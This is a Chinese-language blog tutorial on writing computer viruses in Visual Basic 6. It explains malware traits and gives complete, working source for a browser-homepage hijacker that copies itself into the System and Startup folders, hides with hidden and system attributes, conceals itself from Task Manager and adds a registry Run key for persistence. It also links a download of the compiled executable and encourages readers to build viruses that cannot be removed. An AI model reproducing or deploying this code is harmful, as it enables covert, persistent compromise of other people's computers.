VB也能用來寫病毒!VB病毒教學

相信各位電腦使用者一定都非常痛恨病毒吧?就像是讓人類生病的病毒一樣,電腦病毒會破壞電腦資料,進而造成電腦癱瘓,是非常難搞的東西,一旦中了,就很難用一般刪除的方法除去。病毒其實就是一個程式,只不過這個程式的用途不友善,這種程式設計者當初在設計的時候想必是不懷好意。那病毒到底是怎麼寫出來的呢?就讓敝人以VB6個範例吧!

免責聲明:若個人因撰寫病毒學習過程之中,導致自身電腦系統及資料損毀,本站不負毀損之責任,撰寫時請謹慎使用之。本文並無教到破壞電腦的程式部分,若是設計者設計不當或不懷好意,進而使自己或他人的電腦資料毀損,這一切責任請由該病毒程式的設計者自行承擔!

病毒為什麼這麼難清除?是因為它具有隱藏性和自我複製能力。通常病毒在自我複製的時候,會加上「隱藏(Hidden)」和「系統(System)」兩種屬性,以致於在一般的資料夾下瀏覽,會見不到其的存在。其實可以用WinRAR來瀏覽資料夾,「系統」加「隱藏」屬性的檔案也會露出尾巴喔!利用「系統」加「隱藏」兩種屬性,也很適合拿來隱藏見不得人的檔案呦XD。

要寫出一個好的病毒,須注意下列幾點:

一、自我複製能力(感染電腦)

當病毒檔案被系統執行,就要先判斷該台電腦是否已感染病毒,即該病毒檔案是否已經存在。如果不存在,就要將檔案複製到指定位置(通常會放在系統資料夾內)。如果是用VB,可以以Filecopy達成複製的功能。

二、開機自動啟動

當病毒在感染電腦的時候,會自動將自己的路徑寫在登錄檔的開機機碼中,路徑通常為:

「HKEY_LOCAL_MACHINESoftwareMicrosoftWindows

CurrentVersionRun」

如果是用VB,可以用wscript.shell的RegWrite達成登錄檔寫入的功能。

三、在Windows 工作管理員中隱藏身分

這是一個必要的功能,要是使用者在工作管理員的「應用程式」清單中,看到怪怪的檔案,一定會立刻起疑心,這樣就病毒的行蹤就被發現了。VB對此的控制方法相當簡單,只要將App.TaskVisible屬性設定為False就行了。

四、發作條件

這項其實可以省略,有很多種病毒會在固定日期或是時間才會發作。VB可以用If判斷日期函數(Day、Hour)的傳回值達成此功能。

五、破壞性

這是病毒最重要的特性,這部分也代表病毒的強弱。至於病毒要如何破壞,就要看設計者的創意了。

六、隱藏性

文章開頭就有提到,一般來說病毒會有「隱藏(Hidden)」和「系統(System)」兩種屬性。VB修改屬性的方法,可以使用SetAttr來達成。

 

VB病毒實例-IE首頁綁架病毒

了解病毒的特性,我們就開始來做做看簡單的病毒吧!我們要做的是比較無害的IE首頁綁架病毒,比起外面網路上的IE綁架病毒,教學做的病毒絕對無害的喔!

功能主要有:

1.自我複製

2.工作管理員隱藏

3.開機自動啟動(登錄擋、「啟動」)

4.更改IE首頁(設為http://it-easy.tw/)

5.隱藏+系統屬性

程式能將IE首頁改為「http://it-easy.tw/」。若使用者又將IE首頁修改回來,重新開機後,病毒會自動再次執行,然後IE首頁會再度設成「http://it-easy.tw/」。

步驟一 建立VB專案

開啟Microsoft Visual Basic 6.0。建立一個「標準執行擋」專案

sshot-1

病毒並不需要視覺化的表單,我們用模組來撰寫程式就好。先刪除表單。

sshot-2

接著建立一個模組。

sshot-3

sshot-4

以Sub Main開始撰寫程式吧!

sshot-5

步驟二 撰寫程式

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
'本程式為教學用途,勿做非法行為!

Declare Function GetSystemDirectory Lib "kernel32" Alias "GetSystemDirectoryA" (ByVal lpBuffer As String, ByVal nSize As Long) As Long '宣告GetSystemDirectory API函數
Declare Function SetFileAttributes Lib "kernel32" Alias "SetFileAttributesA" (ByVal lpFileName As String, ByVal dwFileAttributes As Long) As Long '宣告SetFileAttributes API函數
Dim SDir As String '儲存系統System路徑
Dim runDir As String '儲存「啟動」路徑

Sub Main()
If App.PrevInstance Then End '防止病毒重覆開啟,造成錯誤
App.TaskVisible = False '在工作管理員隱藏身分

Call GetSDir '取得SYSTEM路徑
Call GetRunDir '取得「啟動」路徑
Dim wshshell As Object '宣告wshshell為一個Object
Set wshshell = CreateObject("wscript.shell") '將"wscript.shell"載入到wshshell內
Dim ToPath As String '儲存目標路徑

'病毒核心 Start
wshshell.RegWrite "HKEY_CURRENT_USERSoftwareMicrosoftInternet ExplorerMainStart Page", "http://pcnoproblem.twbbs.org/" '寫入首頁
'病毒核心 End

ToPath = SDir + "pcno.exe" ' '讓ToPath指向System目錄下的pcno.exe
SetFileAttributes ToPath, 0 '確保System目錄下的pcno.exe無任何屬性,以免出差錯
If Dir(ToPath) = "" Then '判斷System目錄下的pcno.exe是否存在
    '如果System目錄下的pcno.exe不存在
    FileCopy App.Path & "" & App.EXEName & ".EXE", ToPath '將程式自身複製到System目錄下,檔名為「pcno.exe」
End If
SetAttr ToPath, vbHidden + vbSystem '修改System目錄下的pcno.exe屬性為隱藏+系統

wshshell.RegWrite "HKEY_LOCAL_MACHINESoftwareMicrosoftWindowsCurrentVersionRunpcnoproblem", ToPath '將System目錄下的pcno.exe路徑寫入到開機開啟程式的登錄機碼內

ToPath = runDir + "pcno.exe" '讓ToPath指向「啟動」目錄下的pcno.exe
SetFileAttributes ToPath, 0 '確保「啟動」目錄下的pcno.exe無任何屬性,以免出差錯
If Dir(ToPath) = "" Then '判斷「啟動」目錄下的pcno.exe是否存在
    FileCopy App.Path & "" & App.EXEName & ".EXE", ToPath '將程式自身複製到「啟動」目錄下,檔名為「pcno.exe」
End If
SetAttr ToPath, vbHidden + vbSystem  '修改「啟動」目錄下的pcno.exe屬性為隱藏+系統

End '結束程式

End Sub
 
Sub GetSDir() '取得SYSTEM路徑
    Dim rtn As Long '儲存GetSystemDirectory的return值
    Dim Buffer As String '作為lpBuffer
    Const MAX_PATH = 260 '設定最大字串長度

    Buffer = Space(MAX_PATH) '讓Buffer儲存MAX_PATH(260)個空白字元
    rtn = GetSystemDirectory(Buffer, Len(Buffer)) 'GetSystemDirectory(lpBuffer,nSize)
    If rtn = 0 Then '判斷GetSystemDirectory是否有取得路徑
        End '結束程式
    Else '如果rtn不為0
        SDir = Left(Buffer, rtn) 'SDir儲存System路徑。Left的用法是取出Buffer中的System路徑部分;rtn此時為System路徑的字串長度
    End If
End Sub
 
Sub GetRunDir() '取得「啟動」路徑
    Dim wshshell As Object '宣告wshshell為一個Object
    Set wshshell = CreateObject("wscript.shell") '將"wscript.shell"載入到wshshell內
    runDir = wshshell.regread("HKEY_CURRENT_USERSoftwareMicrosoftWindowsCurrentVersionExplorerShell FoldersStartup") '取得啟動路徑
End Sub

補充說明:

為何要用SetFileAttributes,而不直接用SetAttr?

因為SetAttr若是找不到檔案,程式會出現錯誤,無法繼續執行。

為何要用兩個開機自動啟動的地方?

以防萬一^^

為何要用SetFileAttributes把檔案屬性清掉?

確保Dir可以正常找到檔案。

為何不要讓病毒常駐在Windows的背景下?

為了讓本教學的病毒絕對無害。

 

範例檔案下載:

http://www.megaupload.com/?d=WQ4Y7C50
Google協作平台
解壓縮密碼:I know it is dangerous.

內有兩個檔案:

I am bad.exe:為以上病毒程式碼編譯出來的結果。

I am good.exe:還原I am bad.exe對系統所作的更動。

NOD32掃毒結果:

以下是NOD32對以上程式碼編譯出來的EXE檔案的掃毒結果↓

sshot-6

 

基本上病毒的基本構造就類似這樣,其實還有很多自我保護的地方要去研究,想寫出絕對破解不了的病毒的話,還要設計者多多增加自己的功力呢!

本教學到了尾聲,絕對要先聲明:

本篇文章內容純屬教學用途,任何程式碼和檔案均不能拿去做非法之用!

文章分類:VB6.0|標籤:, , , ,

迴響已關閉